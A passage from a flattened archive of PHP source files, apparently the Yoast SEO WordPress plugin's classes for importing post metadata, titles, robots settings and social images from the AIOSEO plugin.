interface. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of validations during each action pass. * * @param int $limit The maximum number of validations. */ $limit = \apply_filters( 'wpseo_aioseo_validation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } } actions/importing/aioseo/aioseo-posts-importing-action.php000064400000055144152076257200020131 0ustar00>> */ protected $aioseo_to_yoast_map = [ 'title' => [ 'yoast_name' => 'title', 'transform_method' => 'simple_import_post', ], 'description' => [ 'yoast_name' => 'description', 'transform_method' => 'simple_import_post', ], 'og_title' => [ 'yoast_name' => 'open_graph_title', 'transform_method' => 'simple_import_post', ], 'og_description' => [ 'yoast_name' => 'open_graph_description', 'transform_method' => 'simple_import_post', ], 'twitter_title' => [ 'yoast_name' => 'twitter_title', 'transform_method' => 'simple_import_post', 'twitter_import' => true, ], 'twitter_description' => [ 'yoast_name' => 'twitter_description', 'transform_method' => 'simple_import_post', 'twitter_import' => true, ], 'canonical_url' => [ 'yoast_name' => 'canonical', 'transform_method' => 'url_import_post', ], 'keyphrases' => [ 'yoast_name' => 'primary_focus_keyword', 'transform_method' => 'keyphrase_import', ], 'og_image_url' => [ 'yoast_name' => 'open_graph_image', 'social_image_import' => true, 'social_setting_prefix_aioseo' => 'og_', 'social_setting_prefix_yoast' => 'open_graph_', 'transform_method' => 'social_image_url_import', ], 'twitter_image_url' => [ 'yoast_name' => 'twitter_image', 'social_image_import' => true, 'social_setting_prefix_aioseo' => 'twitter_', 'social_setting_prefix_yoast' => 'twitter_', 'transform_method' => 'social_image_url_import', ], 'robots_noindex' => [ 'yoast_name' => 'is_robots_noindex', 'transform_method' => 'post_robots_noindex_import', 'robots_import' => true, ], 'robots_nofollow' => [ 'yoast_name' => 'is_robots_nofollow', 'transform_method' => 'post_general_robots_import', 'robots_import' => true, 'robot_type' => 'nofollow', ], 'robots_noarchive' => [ 'yoast_name' => 'is_robots_noarchive', 'transform_method' => 'post_general_robots_import', 'robots_import' => true, 'robot_type' => 'noarchive', ], 'robots_nosnippet' => [ 'yoast_name' => 'is_robots_nosnippet', 'transform_method' => 'post_general_robots_import', 'robots_import' => true, 'robot_type' => 'nosnippet', ], 'robots_noimageindex' => [ 'yoast_name' => 'is_robots_noimageindex', 'transform_method' => 'post_general_robots_import', 'robots_import' => true, 'robot_type' => 'noimageindex', ], ]; /** * Represents the indexables repository. * * @var Indexable_Repository */ protected $indexable_repository; /** * The WordPress database instance. * * @var wpdb */ protected $wpdb; /** * The image helper. * * @var Image_Helper */ protected $image; /** * The indexable_to_postmeta helper. * * @var Indexable_To_Postmeta_Helper */ protected $indexable_to_postmeta; /** * The indexable helper. * * @var Indexable_Helper */ protected $indexable_helper; /** * The social images provider service. * * @var Aioseo_Social_Images_Provider_Service */ protected $social_images_provider; /** * Class constructor. * * @param Indexable_Repository $indexable_repository The indexables repository. * @param wpdb $wpdb The WordPress database instance. * @param Import_Cursor_Helper $import_cursor The import cursor helper. * @param Indexable_Helper $indexable_helper The indexable helper. * @param Indexable_To_Postmeta_Helper $indexable_to_postmeta The indexable_to_postmeta helper. * @param Options_Helper $options The options helper. * @param Image_Helper $image The image helper. * @param Sanitization_Helper $sanitization The sanitization helper. * @param Aioseo_Replacevar_Service $replacevar_handler The replacevar handler. * @param Aioseo_Robots_Provider_Service $robots_provider The robots provider service. * @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service. * @param Aioseo_Social_Images_Provider_Service $social_images_provider The social images provider service. */ public function __construct( Indexable_Repository $indexable_repository, wpdb $wpdb, Import_Cursor_Helper $import_cursor, Indexable_Helper $indexable_helper, Indexable_To_Postmeta_Helper $indexable_to_postmeta, Options_Helper $options, Image_Helper $image, Sanitization_Helper $sanitization, Aioseo_Replacevar_Service $replacevar_handler, Aioseo_Robots_Provider_Service $robots_provider, Aioseo_Robots_Transformer_Service $robots_transformer, Aioseo_Social_Images_Provider_Service $social_images_provider ) { parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer ); $this->indexable_repository = $indexable_repository; $this->wpdb = $wpdb; $this->image = $image; $this->indexable_helper = $indexable_helper; $this->indexable_to_postmeta = $indexable_to_postmeta; $this->social_images_provider = $social_images_provider; } // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: They are already prepared. /** * Returns the total number of unimported objects. * * @return int The total number of unimported objects. */ public function get_total_unindexed() { if ( ! $this->aioseo_helper->aioseo_exists() ) { return 0; } $limit = false; $just_detect = true; $indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) ); $number_of_indexables_to_create = \count( $indexables_to_create ); $completed = $number_of_indexables_to_create === 0; $this->set_completed( $completed ); return $number_of_indexables_to_create; } /** * Returns the limited number of unimported objects. * * @param int $limit The maximum number of unimported objects to be returned. * * @return int|false The limited number of unindexed posts. False if the query fails. */ public function get_limited_unindexed_count( $limit ) { if ( ! $this->aioseo_helper->aioseo_exists() ) { return 0; } $just_detect = true; $indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) ); $number_of_indexables_to_create = \count( $indexables_to_create ); $completed = $number_of_indexables_to_create === 0; $this->set_completed( $completed ); return $number_of_indexables_to_create; } /** * Imports AIOSEO meta data and creates the respective Yoast indexables and postmeta. * * @return Indexable[]|false An array of created indexables or false if aioseo data was not found. */ public function index() { if ( ! $this->aioseo_helper->aioseo_exists() ) { return false; } $limit = $this->get_limit(); $aioseo_indexables = $this->wpdb->get_results( $this->query( $limit ), \ARRAY_A ); $created_indexables = []; $completed = \count( $aioseo_indexables ) === 0; $this->set_completed( $completed ); // Let's build the list of fields to check their defaults, to identify whether we're gonna import AIOSEO data in the indexable or not. $check_defaults_fields = []; foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) { // We don't want to check all the imported fields. if ( ! \in_array( $yoast_mapping['yoast_name'], [ 'open_graph_image', 'twitter_image' ], true ) ) { $check_defaults_fields[] = $yoast_mapping['yoast_name']; } } $last_indexed_aioseo_id = 0; foreach ( $aioseo_indexables as $aioseo_indexable ) { $last_indexed_aioseo_id = $aioseo_indexable['id']; $indexable = $this->indexable_repository->find_by_id_and_type( $aioseo_indexable['post_id'], 'post' ); // Let's ensure that the current post id represents something that we want to index (eg. *not* shop_order). if ( ! \is_a( $indexable, 'Yoast\WP\SEO\Models\Indexable' ) ) { continue; } if ( $this->indexable_helper->check_if_default_indexable( $indexable, $check_defaults_fields ) ) { $indexable = $this->map( $indexable, $aioseo_indexable ); $this->indexable_helper->save_indexable( $indexable ); // To ensure that indexables can be rebuild after a reset, we have to store the data in the postmeta table too. $this->indexable_to_postmeta->map_to_postmeta( $indexable ); } $last_indexed_aioseo_id = $aioseo_indexable['id']; $created_indexables[] = $indexable; } $cursor_id = $this->get_cursor_id(); $this->import_cursor->set_cursor( $cursor_id, $last_indexed_aioseo_id ); return $created_indexables; } // phpcs:enable WordPress.DB.PreparedSQL.NotPrepared /** * Maps AIOSEO meta data to Yoast meta data. * * @param Indexable $indexable The Yoast indexable. * @param array $aioseo_indexable The AIOSEO indexable. * * @return Indexable The created indexables. */ public function map( $indexable, $aioseo_indexable ) { foreach ( $this->aioseo_to_yoast_map as $aioseo_key => $yoast_mapping ) { // For robots import. if ( isset( $yoast_mapping['robots_import'] ) && $yoast_mapping['robots_import'] ) { $yoast_mapping['subtype'] = $indexable->object_sub_type; $indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ); continue; } // For social images, like open graph and twitter image. if ( isset( $yoast_mapping['social_image_import'] ) && $yoast_mapping['social_image_import'] ) { $image_url = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ); // Update the indexable's social image only where there's actually a url to import, so as not to lose the social images that we came up with when we originally built the indexable. if ( ! empty( $image_url ) ) { $indexable->{$yoast_mapping['yoast_name']} = $image_url; $image_source_key = $yoast_mapping['social_setting_prefix_yoast'] . 'image_source'; $indexable->$image_source_key = 'imported'; $image_id_key = $yoast_mapping['social_setting_prefix_yoast'] . 'image_id'; $indexable->$image_id_key = $this->image->get_attachment_by_url( $image_url ); if ( $yoast_mapping['yoast_name'] === 'open_graph_image' ) { $indexable->open_graph_image_meta = null; } } continue; } // For twitter import, take the respective open graph data if the appropriate setting is enabled. if ( isset( $yoast_mapping['twitter_import'] ) && $yoast_mapping['twitter_import'] && $aioseo_indexable['twitter_use_og'] ) { $aioseo_indexable['twitter_title'] = $aioseo_indexable['og_title']; $aioseo_indexable['twitter_description'] = $aioseo_indexable['og_description']; } if ( ! empty( $aioseo_indexable[ $aioseo_key ] ) ) { $indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ); } } return $indexable; } /** * Transforms the data to be imported. * * @param string $transform_method The method that is going to be used for transforming the data. * @param array $aioseo_indexable The data of the AIOSEO indexable data that is being imported. * @param string $aioseo_key The name of the specific set of data that is going to be transformed. * @param array $yoast_mapping Extra details for the import of the specific data that is going to be transformed. * @param Indexable $indexable The Yoast indexable that we are going to import the transformed data into. * * @return string|bool|null The transformed data to be imported. */ protected function transform_import_data( $transform_method, $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ) { return \call_user_func( [ $this, $transform_method ], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ); } /** * Returns the number of objects that will be imported in a single importing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_aioseo_post_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass. * * @param int $max_posts The maximum number of posts indexed. */ $limit = \apply_filters( 'wpseo_aioseo_post_indexation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } /** * Populates the needed data array based on which columns we use from the AIOSEO indexable table. * * @return array The needed data array that contains all the needed columns. */ public function get_needed_data() { $needed_data = \array_keys( $this->aioseo_to_yoast_map ); \array_push( $needed_data, 'id', 'post_id', 'robots_default', 'og_image_custom_url', 'og_image_type', 'twitter_image_custom_url', 'twitter_image_type', 'twitter_use_og' ); return $needed_data; } /** * Populates the needed robot data array to be used in validating against its structure. * * @return array The needed data array that contains all the needed columns. */ public function get_needed_robot_data() { $needed_robot_data = []; foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) { if ( isset( $yoast_mapping['robot_type'] ) ) { $needed_robot_data[] = $yoast_mapping['robot_type']; } } return $needed_robot_data; } /** * Creates a query for gathering AiOSEO data from the database. * * @param int|false $limit The maximum number of unimported objects to be returned. * False for "no limit". * @param bool $just_detect Whether we want to just detect if there are unimported objects. If false, we want to actually import them too. * * @return string The query to use for importing or counting the number of items to import. */ public function query( $limit = false, $just_detect = false ) { $table = $this->aioseo_helper->get_table(); $select_statement = 'id'; if ( ! $just_detect ) { // If we want to import too, we need the actual needed data from AIOSEO indexables. $needed_data = $this->get_needed_data(); $select_statement = \implode( ', ', $needed_data ); } $cursor_id = $this->get_cursor_id(); $cursor = $this->import_cursor->get_cursor( $cursor_id ); /** * Filter 'wpseo_aioseo_post_cursor' - Allow filtering the value of the aioseo post import cursor. * * @param int $import_cursor The value of the aioseo post import cursor. */ $cursor = \apply_filters( 'wpseo_aioseo_post_import_cursor', $cursor ); $replacements = [ $cursor ]; $limit_statement = ''; if ( ! empty( $limit ) ) { $replacements[] = $limit; $limit_statement = ' LIMIT %d'; } // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. return $this->wpdb->prepare( "SELECT {$select_statement} FROM {$table} WHERE id > %d ORDER BY id{$limit_statement}", $replacements, ); // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared } /** * Minimally transforms data to be imported. * * @param array $aioseo_data All of the AIOSEO data to be imported. * @param string $aioseo_key The AIOSEO key that contains the setting we're working with. * * @return string The transformed meta data. */ public function simple_import_post( $aioseo_data, $aioseo_key ) { return $this->simple_import( $aioseo_data[ $aioseo_key ] ); } /** * Transforms URL to be imported. * * @param array $aioseo_data All of the AIOSEO data to be imported. * @param string $aioseo_key The AIOSEO key that contains the setting we're working with. * * @return string The transformed URL. */ public function url_import_post( $aioseo_data, $aioseo_key ) { return $this->url_import( $aioseo_data[ $aioseo_key ] ); } /** * Plucks the keyphrase to be imported from the AIOSEO array of keyphrase meta data. * * @param array $aioseo_data All of the AIOSEO data to be imported. * @param string $aioseo_key The AIOSEO key that contains the setting we're working with, aka keyphrases. * * @return string|null The plucked keyphrase. */ public function keyphrase_import( $aioseo_data, $aioseo_key ) { $meta_data = \json_decode( $aioseo_data[ $aioseo_key ], true ); if ( ! isset( $meta_data['focus']['keyphrase'] ) ) { return null; } return $this->sanitization->sanitize_text_field( $meta_data['focus']['keyphrase'] ); } /** * Imports the post's noindex setting. * * @param bool $aioseo_robots_settings AIOSEO's set of robot settings for the post. * * @return bool|null The value of Yoast's noindex setting for the post. */ public function post_robots_noindex_import( $aioseo_robots_settings ) { // If robot settings defer to default settings, we have null in the is_robots_noindex field. if ( $aioseo_robots_settings['robots_default'] ) { return null; } return $aioseo_robots_settings['robots_noindex']; } /** * Imports the post's robots setting. * * @param bool $aioseo_robots_settings AIOSEO's set of robot settings for the post. * @param string $aioseo_key The AIOSEO key that contains the robot setting we're working with. * @param array $mapping The mapping of the setting we're working with. * * @return bool|null The value of Yoast's noindex setting for the post. */ public function post_general_robots_import( $aioseo_robots_settings, $aioseo_key, $mapping ) { $mapping = $this->enhance_mapping( $mapping ); if ( $aioseo_robots_settings['robots_default'] ) { // Let's first get the subtype's setting value and then transform it taking into consideration whether it defers to global defaults. $subtype_setting = $this->robots_provider->get_subtype_robot_setting( $mapping ); return $this->robots_transformer->transform_robot_setting( $mapping['robot_type'], $subtype_setting, $mapping ); } return $aioseo_robots_settings[ $aioseo_key ]; } /** * Enhances the mapping of the setting we're working with, with type and the option name, so that we can retrieve the settings for the object we're working with. * * @param array $mapping The mapping of the setting we're working with. * * @return array The enhanced mapping. */ public function enhance_mapping( $mapping = [] ) { $mapping['type'] = 'postTypes'; $mapping['option_name'] = 'aioseo_options_dynamic'; return $mapping; } /** * Imports the og and twitter image url. * * @param bool $aioseo_social_image_settings AIOSEO's set of social image settings for the post. * @param string $aioseo_key The AIOSEO key that contains the robot setting we're working with. * @param array $mapping The mapping of the setting we're working with. * @param Indexable $indexable The Yoast indexable we're importing into. * * @return bool|null The url of the social image we're importing, null if there's none. */ public function social_image_url_import( $aioseo_social_image_settings, $aioseo_key, $mapping, $indexable ) { if ( $mapping['social_setting_prefix_aioseo'] === 'twitter_' && $aioseo_social_image_settings['twitter_use_og'] ) { $mapping['social_setting_prefix_aioseo'] = 'og_'; } $social_setting = \rtrim( $mapping['social_setting_prefix_aioseo'], '_' ); $image_type = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_type' ]; if ( $image_type === 'default' ) { $image_type = $this->social_images_provider->get_default_social_image_source( $social_setting ); } switch ( $image_type ) { case 'attach': $image_url = $this->social_images_provider->get_first_attached_image( $indexable->object_id ); break; case 'auto': if ( $this->social_images_provider->get_featured_image( $indexable->object_id ) ) { // If there's a featured image, lets not import it, as our indexable calculation has already set that as active social image. That way we achieve dynamicality. return null; } $image_url = $this->social_images_provider->get_auto_image( $indexable->object_id ); break; case 'content': $image_url = $this->social_images_provider->get_first_image_in_content( $indexable->object_id ); break; case 'custom_image': $image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_custom_url' ]; break; case 'featured': return null; // Our auto-calculation when the indexable was built/updated has taken care of it, so it's not needed to transfer any data now. case 'author': return null; case 'custom': return null; case 'default': $image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting ); break; default: $image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_url' ]; break; } if ( empty( $image_url ) ) { $image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting ); } if ( empty( $image_url ) ) { return null; } return $this->sanitization->sanitize_url( $image_url, null ); } } actions/importing/aioseo/aioseo-general-settings-importing-action.php000064400000013752152076257200022233 0ustar00image = $image; } /** * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method. * * @return void */ protected function build_mapping() { $this->aioseo_options_to_yoast_map = [ '/separator' => [ 'yoast_name' => 'separator', 'transform_method' => 'transform_separator', ], '/siteTitle' => [ 'yoast_name' => 'title-home-wpseo', 'transform_method' => 'simple_import', ], '/metaDescription' => [ 'yoast_name' => 'metadesc-home-wpseo', 'transform_method' => 'simple_import', ], '/schema/siteRepresents' => [ 'yoast_name' => 'company_or_person', 'transform_method' => 'transform_site_represents', ], '/schema/person' => [ 'yoast_name' => 'company_or_person_user_id', 'transform_method' => 'simple_import', ], '/schema/organizationName' => [ 'yoast_name' => 'company_name', 'transform_method' => 'simple_import', ], '/schema/organizationLogo' => [ 'yoast_name' => 'company_logo', 'transform_method' => 'import_company_logo', ], '/schema/personLogo' => [ 'yoast_name' => 'person_logo', 'transform_method' => 'import_person_logo', ], ]; } /** * Imports the organization logo while also accounting for the id of the log to be saved in the separate Yoast option. * * @param string $logo_url The company logo url coming from AIOSEO settings. * * @return string The transformed company logo url. */ public function import_company_logo( $logo_url ) { $logo_id = $this->image->get_attachment_by_url( $logo_url ); $this->options->set( 'company_logo_id', $logo_id ); $this->options->set( 'company_logo_meta', false ); $logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' ); $this->options->set( 'company_logo_meta', $logo_meta ); return $this->url_import( $logo_url ); } /** * Imports the person logo while also accounting for the id of the log to be saved in the separate Yoast option. * * @param string $logo_url The person logo url coming from AIOSEO settings. * * @return string The transformed person logo url. */ public function import_person_logo( $logo_url ) { $logo_id = $this->image->get_attachment_by_url( $logo_url ); $this->options->set( 'person_logo_id', $logo_id ); $this->options->set( 'person_logo_meta', false ); $logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' ); $this->options->set( 'person_logo_meta', $logo_meta ); return $this->url_import( $logo_url ); } /** * Transforms the site represents setting. * * @param string $site_represents The site represents setting. * * @return string The transformed site represents setting. */ public function transform_site_represents( $site_represents ) { switch ( $site_represents ) { case 'person': return 'person'; case 'organization': default: return 'company'; } } /** * Transforms the separator setting. * * @param string $separator The separator setting. * * @return string The transformed separator. */ public function transform_separator( $separator ) { switch ( $separator ) { case '-': return 'sc-dash'; case '–': return 'sc-ndash'; case '—': return 'sc-mdash'; case '»': return 'sc-raquo'; case '«': return 'sc-laquo'; case '>': return 'sc-gt'; case '•': return 'sc-bull'; case '|': return 'sc-pipe'; default: return 'sc-dash'; } } } actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php000064400000007366152076257210023554 0ustar00post_type = $post_type; } /** * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method. * * @return void */ protected function build_mapping() { $post_type_objects = \get_post_types( [ 'public' => true ], 'objects' ); foreach ( $post_type_objects as $pt ) { // Use all the custom post types that have archives. if ( ! $pt->_builtin && $this->post_type->has_archive( $pt ) ) { $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ] = [ 'yoast_name' => 'title-ptarchive-' . $pt->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ] = [ 'yoast_name' => 'metadesc-ptarchive-' . $pt->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [ 'yoast_name' => 'noindex-ptarchive-' . $pt->name, 'transform_method' => 'import_noindex', 'type' => 'archives', 'subtype' => $pt->name, 'option_name' => 'aioseo_options_dynamic', ]; } } } } actions/importing/aioseo/aioseo-taxonomy-settings-importing-action.php000064400000007645152076257210022501 0ustar00 '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_archive_post_type_format' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_archive_post_type_name' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_author_display_name' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_author_first_name' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_blog_page_title' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_label' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_link' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_search_result_format' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_search_string' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_separator' => '', // Empty string, as AIOSEO shows nothing for that tag. '#breadcrumb_taxonomy_title' => '', // Empty string, as AIOSEO shows nothing for that tag. '#taxonomy_title' => '%%term_title%%', ]; /** * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method. * * @return void */ protected function build_mapping() { $taxonomy_objects = \get_taxonomies( [ 'public' => true ], 'object' ); foreach ( $taxonomy_objects as $tax ) { // Use all the public taxonomies. $this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/title' ] = [ 'yoast_name' => 'title-tax-' . $tax->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/metaDescription' ] = [ 'yoast_name' => 'metadesc-tax-' . $tax->name, 'transform_method' => 'simple_import', ]; $this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/advanced/robotsMeta/noindex' ] = [ 'yoast_name' => 'noindex-tax-' . $tax->name, 'transform_method' => 'import_noindex', 'type' => 'taxonomies', 'subtype' => $tax->name, 'option_name' => 'aioseo_options_dynamic', ]; } } /** * Returns a setting map of the robot setting for post category taxonomies. * * @return array The setting map of the robot setting for post category taxonomies. */ public function pluck_robot_setting_from_mapping() { $this->build_mapping(); foreach ( $this->aioseo_options_to_yoast_map as $setting ) { // Return the first archive setting map. if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'category' ) { return $setting; } } return []; } } actions/importing/aioseo/abstract-aioseo-settings-importing-action.php000064400000024610152076257220022416 0ustar00import_helper = $import_helper; } /** * Retrieves the source option_name. * * @return string The source option_name. * * @throws Exception If the SOURCE_OPTION_NAME constant is not set in the child class. */ public function get_source_option_name() { $source_option_name = static::SOURCE_OPTION_NAME; if ( empty( $source_option_name ) ) { throw new Exception( 'Importing settings action without explicit source option_name' ); } return $source_option_name; } /** * Returns the total number of unimported objects. * * @return int The total number of unimported objects. */ public function get_total_unindexed() { return $this->get_unindexed_count(); } /** * Returns the limited number of unimported objects. * * @param int $limit The maximum number of unimported objects to be returned. * * @return int The limited number of unindexed posts. */ public function get_limited_unindexed_count( $limit ) { return $this->get_unindexed_count( $limit ); } /** * Returns the number of unimported objects (limited if limit is applied). * * @param int|null $limit The maximum number of unimported objects to be returned. * * @return int The number of unindexed posts. */ protected function get_unindexed_count( $limit = null ) { if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = null; } $settings_to_create = $this->query( $limit ); $number_of_settings_to_create = \count( $settings_to_create ); $completed = $number_of_settings_to_create === 0; $this->set_completed( $completed ); return $number_of_settings_to_create; } /** * Imports AIOSEO settings. * * @return array|false An array of the AIOSEO settings that were imported or false if aioseo data was not found. */ public function index() { $limit = $this->get_limit(); $aioseo_settings = $this->query( $limit ); $created_settings = []; $completed = \count( $aioseo_settings ) === 0; $this->set_completed( $completed ); // Prepare the setting keys mapping. $this->build_mapping(); // Prepare the replacement var mapping. foreach ( $this->replace_vars_edited_map as $aioseo_var => $yoast_var ) { $this->replacevar_handler->compose_map( $aioseo_var, $yoast_var ); } $last_imported_setting = ''; try { foreach ( $aioseo_settings as $setting => $setting_value ) { // Map and import the values of the setting we're working with (eg. post, book-category, etc.) to the respective Yoast option. $this->map( $setting_value, $setting ); // Save the type of the settings that were just imported, so that we can allow chunked imports. $last_imported_setting = $setting; $created_settings[] = $setting; } } finally { $cursor_id = $this->get_cursor_id(); $this->import_cursor->set_cursor( $cursor_id, $last_imported_setting ); } return $created_settings; } /** * Checks if the settings tab subsetting is set in the AIOSEO option. * * @param string $aioseo_settings The AIOSEO option. * * @return bool Whether the settings are set. */ public function isset_settings_tab( $aioseo_settings ) { return isset( $aioseo_settings['searchAppearance'][ $this->settings_tab ] ); } /** * Queries the database and retrieves unimported AiOSEO settings (in chunks if a limit is applied). * * @param int|null $limit The maximum number of unimported objects to be returned. * * @return array The (maybe chunked) unimported AiOSEO settings to import. */ protected function query( $limit = null ) { $aioseo_settings = \json_decode( \get_option( $this->get_source_option_name(), '' ), true ); if ( empty( $aioseo_settings ) ) { return []; } // We specifically want the setttings of the tab we're working with, eg. postTypes, taxonomies, etc. $settings_values = $aioseo_settings['searchAppearance'][ $this->settings_tab ]; if ( ! \is_array( $settings_values ) ) { return []; } $flattened_settings = $this->import_helper->flatten_settings( $settings_values ); return $this->get_unimported_chunk( $flattened_settings, $limit ); } /** * Retrieves (a chunk of, if limit is applied) the unimported AIOSEO settings. * To apply a chunk, we manipulate the cursor to the keys of the AIOSEO settings. * * @param array $importable_data All of the available AIOSEO settings. * @param int $limit The maximum number of unimported objects to be returned. * * @return array The (chunk of, if limit is applied)) unimported AIOSEO settings. */ protected function get_unimported_chunk( $importable_data, $limit ) { \ksort( $importable_data ); $cursor_id = $this->get_cursor_id(); $cursor = $this->import_cursor->get_cursor( $cursor_id, '' ); /** * Filter 'wpseo_aioseo__import_cursor' - Allow filtering the value of the aioseo settings import cursor. * * @param int $import_cursor The value of the aioseo posttype default settings import cursor. */ $cursor = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_import_cursor', $cursor ); if ( $cursor === '' ) { return \array_slice( $importable_data, 0, $limit, true ); } // Let's find the position of the cursor in the alphabetically sorted importable data, so we can return only the unimported data. $keys = \array_flip( \array_keys( $importable_data ) ); // If the stored cursor now no longer exists in the data, we have no choice but to start over. $position = ( isset( $keys[ $cursor ] ) ) ? ( $keys[ $cursor ] + 1 ) : 0; return \array_slice( $importable_data, $position, $limit, true ); } /** * Returns the number of objects that will be imported in a single importing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_aioseo__indexation_limit' - Allow filtering the number of settings imported during each importing pass. * * @param int $max_posts The maximum number of posts indexed. */ $limit = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_indexation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } /** * Maps/imports AIOSEO settings into the respective Yoast settings. * * @param string|array $setting_value The value of the AIOSEO setting at hand. * @param string $setting The setting at hand, eg. post or movie-category, separator etc. * * @return void */ protected function map( $setting_value, $setting ) { $aioseo_options_to_yoast_map = $this->aioseo_options_to_yoast_map; if ( isset( $aioseo_options_to_yoast_map[ $setting ] ) ) { $this->import_single_setting( $setting, $setting_value, $aioseo_options_to_yoast_map[ $setting ] ); } } /** * Imports a single setting in the db after transforming it to adhere to Yoast conventions. * * @param string $setting The name of the setting. * @param string $setting_value The values of the setting. * @param array $setting_mapping The mapping of the setting to Yoast formats. * * @return void */ protected function import_single_setting( $setting, $setting_value, $setting_mapping ) { $yoast_key = $setting_mapping['yoast_name']; // Check if we're supposed to save the setting. if ( $this->options->get_default( 'wpseo_titles', $yoast_key ) !== null ) { // Then, do any needed data transfomation before actually saving the incoming data. $transformed_data = \call_user_func( [ $this, $setting_mapping['transform_method'] ], $setting_value, $setting_mapping ); $this->options->set( $yoast_key, $transformed_data ); } } /** * Minimally transforms boolean data to be imported. * * @param bool $meta_data The boolean meta data to be imported. * * @return bool The transformed boolean meta data. */ public function simple_boolean_import( $meta_data ) { return $meta_data; } /** * Imports the noindex setting, taking into consideration whether they defer to global defaults. * * @param bool $noindex The noindex of the type, without taking into consideration whether the type defers to global defaults. * @param array $mapping The mapping of the setting we're working with. * * @return bool The noindex setting. */ public function import_noindex( $noindex, $mapping ) { return $this->robots_transformer->transform_robot_setting( 'noindex', $noindex, $mapping ); } /** * Returns a setting map of the robot setting for one subset of post types/taxonomies/archives. * For custom archives, it returns an empty array because AIOSEO excludes some custom archives from this option structure, eg. WooCommerce's products and we don't want to raise a false alarm. * * @return array The setting map of the robot setting for one subset of post types/taxonomies/archives or an empty array. */ public function pluck_robot_setting_from_mapping() { return []; } } actions/importing/aioseo/aioseo-cleanup-action.php000064400000011026152076257220016373 0ustar00 */ protected $aioseo_postmeta_keys = [ '_aioseo_title', '_aioseo_description', '_aioseo_og_title', '_aioseo_og_description', '_aioseo_twitter_title', '_aioseo_twitter_description', ]; /** * The WordPress database instance. * * @var wpdb */ protected $wpdb; /** * Class constructor. * * @param wpdb $wpdb The WordPress database instance. * @param Options_Helper $options The options helper. */ public function __construct( wpdb $wpdb, Options_Helper $options ) { $this->wpdb = $wpdb; $this->options = $options; } /** * Retrieves the postmeta along with the db prefix. * * @return string The postmeta table name along with the db prefix. */ protected function get_postmeta_table() { return $this->wpdb->prefix . 'postmeta'; } /** * Just checks if the cleanup has been completed in the past. * * @return int The total number of unimported objects. */ public function get_total_unindexed() { if ( ! $this->aioseo_helper->aioseo_exists() ) { return 0; } return ( ! $this->get_completed() ) ? 1 : 0; } /** * Just checks if the cleanup has been completed in the past. * * @param int $limit The maximum number of unimported objects to be returned. * * @return int|false The limited number of unindexed posts. False if the query fails. */ public function get_limited_unindexed_count( $limit ) { if ( ! $this->aioseo_helper->aioseo_exists() ) { return 0; } return ( ! $this->get_completed() ) ? 1 : 0; } /** * Cleans up AIOSEO data. * * @return Indexable[]|false An array of created indexables or false if aioseo data was not found. */ public function index() { if ( $this->get_completed() ) { return []; } // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: There 